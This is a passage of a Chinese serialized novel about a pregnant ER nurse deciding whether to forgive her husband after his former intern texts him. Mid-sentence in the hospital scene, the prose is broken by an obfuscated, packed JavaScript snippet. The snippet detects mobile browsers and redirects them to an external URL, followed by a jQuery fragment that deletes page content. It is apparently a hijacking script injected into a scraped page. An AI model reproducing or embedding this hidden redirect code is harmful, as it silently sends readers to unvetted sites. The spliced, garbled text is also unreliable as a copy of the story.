赵东南头大:“我拉黑她微信了,没想到别的,现在哪还有人打电话发短信啊。” 做出原谅赵东南的决定,柳漾已是倍受煎熬,但这条短信让她心头阴霾再起,她既怒且怨:“她发短信,是存心让老子也看到?” 向雨恬哪有这样的心机,赵东南没敢说出来,柳漾冷冷道:“就因为她漂亮,家里条件好,你就觉得她很单纯,是吧?单纯的人会觊觎别人的男人?会纠缠你?” 柳漾这番话只为泄愤,她知道,感情不受道德约束,在社会众人和她眼里,向雨恬是可耻的第三者,但在赵东南心里,向雨恬却是为爱勇敢,为他痛苦,陷入良心挣扎的善良女孩。用沈维的话说,人都自恋,对于喜欢自己的人,总会另眼相待。 果然,赵东南急了:“她没纠缠,上次我跟她说清楚之后,就再没说过一句话,真的不是你想的那样。” “那她怎么突然又找你?”赵东南回答不上来,柳漾甩出离婚二字,赵东南不同意,柳漾又和他分房睡,她感到很冷,浑身冷透了。人心是肉长的,这段时间的赵东南可谓是模范丈夫,两人齐心协力修复摇摇欲坠的感情,令她重新滋生出有滋有味过日子的感觉,可是一条短信,迫使她再次直面婚姻问题。 遵医嘱,柳漾不敢让自己情绪波动太厉害,深深呼吸,让自己平息下来。妈妈和沈维都说,天大的事,以不影响身心健康为前提,她听她们的。 赵东南清晨起床时,柳漾还没醒,他预约了炖汤程序,这样她醒来就能喝上。在公司车库里,他给向雨恬打了电话,问她为什么要发短信,那边传来向雨恬的啜泣声:“我不想破坏你的家庭,只想关心你的事业。” 天空阴沉沉,一群飞鸟掠过。赵东南不说话,向雨恬也不说话,但都没挂电话,良久,向雨恬说:“我爸过年时要参加团拜会,我想让他跟杨总提提你。实习期你对我帮助很大,我爸知道你,肯定愿意帮着说句话。” 赵东南很伤怀,在公司每次路遇,向雨恬都避开他的眼神,他数次发出“你还好吗”,又数次删除,他希望她过得好,过得很好,但她其实过得不好,她在哭,哭得他心乱如麻。 都舍不得挂电话,彼此的呼吸声清晰可闻,仿佛就在身边,赵东南强自压下去找向雨恬的念头,尽可能平静道:“谢谢你的好意,别再为我浪费时间精力,我有我的家庭,你也有你的人生。” 电话挂断了,赵东南把车开到辅路上,停了几分钟。那个小女孩在哭吗,她哭泣的样子很弱小,眼泪很大很大的一颗一颗,但大哭不会让他听见。 雨落了下来,柳漾提前一小时出发去上班,路上因家事而暴躁,堵车时骂骂咧咧,但一接班就顾不上想别的,年前聚餐多,吃坏的人格外多,急诊中心人头攒动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592038|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 有个90来岁的婆婆积食不消化,还被医生发现了其他几种隐患,在急诊床上做检查,子女在门边说:“什么身体啊,该死不死,老东西。” 刚让婆婆家属办了住院手续,救护车送来一个小男孩,他放烟花弄伤了眼睛,医生们紧急会诊,希望能保住他的眼睛。柳漾安抚孩子的妈妈,回来听人议论太婆是老红军,为了她的退休金,家里才吊着她的命。柳漾摇摇头,若是沈维在场,绝对会说养儿防老是笑话,找个人照顾自己也是笑话。 次日清晨交完班,柳漾想等雨小一点再回家,赵东南拎来早餐。柳漾赶他走,喝令他回香榭水岸住,赵东南小心翼翼说柳漾不想看到他,他就在小区弄个短租房,不能不在媳妇视线范围内,柳漾情绪爆炸了:“是我误会吗?!” 赵东南不做声,任由柳漾痛斥,一句嘴都不还。柳漾把脾气都发出来了,靠在楼梯口愣神,赵东南想给她擦眼泪,她抢过纸巾,自己胡乱地揩了,赵东南道歉,他说一切都是他的错,但他千真万确跟对方说清楚了。 柳漾抬脚就踢他,赵东南急了,点开录音,他把之前和向雨恬的简短通话录了音,就是想让柳漾知道,他没骗她。他和向雨恬几个月没联系,他不知道她为什么突然发短信,但他从头到尾都很明白,柳漾是他媳妇,是一生相伴的人,柳志华下葬那天,他就发过誓,会好好照顾柳漾。 柳漾打断他,恶声恶气道:“你滚去上班。” 赵东南说他请了一上午假,把媳妇安全送回家再走。到家后,他卖力表现,做饭洗碗,洗完碗拖地,柳漾又让他滚,他一步三回头地走了:“下午好好补个觉。” 柳漾沉入梦乡,发誓不让情绪被向雨恬牵着走,向雨恬一句话,就搞得她怒火中烧,凭什么。若是因为向雨恬,气坏了身体,孩子没了,那可就是亲者痛仇者快,划不来。 傍晚,柳漾起床想做顿晚餐,赵东南发来信息:“外卖马上送到了,我下班就回。” 晚上,柳漾又想起向雨恬发的那条短信,喝令他回香榭水岸住,赵东南不敢让她动怒,也不敢真的滚,在小区里找了短租房住下,给柳漾发了一张照片:“就在妈家对面楼,二单元,我就近住才安心。” 柳漾知道这样不是办法,可她一见到赵东南就来气,然而离婚吧,她心里也别扭,她问沈维:“是别人给他发短信,不是他发给别人,我把他赶走,是不是有点过分?” 沈维冷冷道:“你会让哪个男的在你颈上啃吗?赵东南要是被男的找到单位去,你看他怎么对你。” 柳漾心知自己变成从前看不惯的女人了,仅仅因为没抓到男人的实证,就自我说服是外面的女人在纠缠他,而他目不斜视,她厌恶这种想法,可是,赵东南每天起大早过来,为她把汤羹炖上,预约了时间才走,她又陷入左右摇摆中。 在急诊中心,生死、社会和人情,柳漾都见过,但事情发生到自己身上,一样糊涂,没个章法,宋青和护士长等人都看出来了。宋青单身,想劝却无从劝起,护士长则现身说法,她年轻时眼睛里掺不得沙子,很看不惯那些女病人或家属的抱怨,既然男人赚钱不比女人多,还不深度参与育儿和家务,那还跟他过个什么劲?结婚后才明白,离婚不是那么简单的。 护士长说自己有无数个想离婚的时刻,但过了气头一琢磨,丈夫其实没什么特别值得离婚的大毛病,不出轨不家暴,偶尔也管管孩子,偶尔也晾晾衣服拖拖地,人家还是孩子的亲爸,离了干吗呢? 完全贴合心意的婚姻是不是根本就不存在?柳漾感到身心俱疲,她承认败给了内心的软弱,暂时只能随波逐流,不因情绪影响到胎儿发育。她很烦这个懦弱的自己,她原本不觉得自己是这样的人。